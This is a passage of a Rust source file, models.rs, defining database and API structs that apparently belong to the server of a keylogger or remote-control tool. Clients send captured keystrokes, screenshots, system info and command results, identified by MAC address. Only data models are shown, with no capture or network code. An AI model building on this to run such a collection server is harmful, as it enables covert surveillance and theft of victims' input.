Select Git revision
models.rs 5.71 KiB
use diesel::prelude::*;
use crate::schema::{keys ,clients, sysinfo, ports, commands, command_result, images};
use serde::{Deserialize, Serialize};
use diesel::sql_types::{VarChar, Integer, Text, Nullable};
use std::collections::HashMap;
use crate::config::get_date;
#[derive(Deserialize, Serialize)]
pub struct ApiId{
pub id :i32
}
// database model
#[derive(Deserialize, Serialize, QueryableByName, Queryable, Selectable, Debug, Identifiable)]
#[diesel(table_name = keys)]
#[diesel(check_for_backend(diesel::pg::Pg))]
pub struct Keys {
#[diesel(sql_type = Integer)]
pub id: i32,
#[diesel(sql_type = Text)]
pub data: String,
#[diesel(sql_type = VarChar)]
pub ts : String,
#[diesel(sql_type = Integer)]
pub client_id : i32
}
// insertable struct
#[derive(Insertable, Deserialize, Serialize, Clone)]
#[diesel(table_name = keys)]
pub struct NewKeys {
pub data: String,
pub ts: String,
pub client_id: i32
}
// sent by client via api
#[derive( Deserialize, Serialize)]
pub struct KeysData {
pub data: String,
pub ts: String, //timestamp
pub addr: String // MAC address
}
impl KeysData {
pub fn new(data:String, address : String) -> Self {
KeysData {data: data, ts: get_date(), addr:address}
}
}
#[derive( Deserialize, Serialize)]
pub struct ImageData {
pub data : Vec<u8>,
pub format_image : ImageFormat,
pub time : String,
pub mac_address : String
}
#[derive( Deserialize, Serialize)]
pub struct ImageFormat {
pub width: u32,
pub height: u32,
}
#[derive(Deserialize, Serialize, Queryable, QueryableByName, Selectable, Debug)]
#[diesel(table_name = clients)]
#[diesel(check_for_backend(diesel::pg::Pg))]